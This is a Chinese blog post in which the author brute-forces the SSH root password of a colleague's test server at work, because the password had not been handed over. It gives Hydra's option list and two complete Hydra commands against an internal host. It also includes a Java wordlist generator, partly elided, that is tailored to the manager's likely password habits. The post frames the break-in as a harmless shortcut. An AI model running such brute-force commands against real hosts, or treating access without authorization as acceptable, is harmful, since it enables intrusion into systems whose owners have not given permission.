概述
我都沒想到,第一次暴力破解服務器密碼。竟然是對自己的單位服務器出手。。囧,因為還沒來得及找測試部要來服務器登錄密碼,測試部負責人已經下班走了。后來又聯系不上,這要更新代碼,怎么辦。。於是就對測試部的服務器動了歪腦筋,試驗一波爆破神器hydra,本篇隨筆僅供技術交流。
hydra
關於hydra的歷史就不多做介紹,畢竟這么強大來頭應該不小。因為也是初次使用,就來得及瞄了一眼參考說明,然后就進入正題。這款工具不管在windows還是Centos都是可以安裝的,lz因為有Kali這件安全測試神器,所以就免去安裝hydra的痛苦。這個是自帶hydra的
hydra工具使用和你在Linux使用命令區別並不大,先看下參考說明
-R 繼續上一次進度破解
-S 采用SSL連接
-s PORT 指定非默認端口
-l LOGIN 指定要破解的用戶
-L FILE 指定用戶名字典破解
-P FILE 指定要使用的密碼字典破解
-C FILE 使用冒號分割的格式,如“login:pass”來替代-L/-P參數
-t TASKS 同時運行的線程數量
-w TIME 設置最大超時時間,單位秒
確認下和目標主機是否存活,假設目標主機是192.168.0.110 ping 192.168.0.110
因為是單位內部服務器,端口號是提前知道的,若對於一台完全陌生的主機,需要進行踩點和收集信息,先用kali自帶的常用密碼字典破解試試手
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 11 -s 20000 ssh://192.168.0.110
經過嘗試,發現無法完成破解。hydra破解是基於強大的密碼字典工具,lz回想了一下測試部負責人常用的密碼規律,於是自己寫了一個密碼字典組合
PassWord類
public class PassWord { public static void main(String[] args) throws Exception { BufferedWriter out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream("D://dic.txt"),"utf-8")); String[] str = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"}; for (int i = 0;i < str.length;++i) { for (int j = 0;j < str.length;++j) { String tmp = "";
//算法部分 out.write(tmp + "\n"); } } for (int i = str.length - 1;i > 0;i--) { for (int j = str.length - 1;j > 0;j--) {
String tmp = ""; //算法部分 out.write(tmp + "\n"); } }
/*不規范寫法,臨時需求*/ out.close(); System.out.println("密碼本生成完畢!!!"); } }
生成字典之后,將dic.txt文件移到kali目錄下,再次嘗試破解
hydra -l root -P /root/dic.txt -t 6 -s 20000 ssh://192.168.0.110
這次服務器密碼成功被獲取到了,接下來更新代碼就簡單了。
======================================================
如發現錯誤,請及時留言,lz及時修改,避免誤導后來者。感謝!!!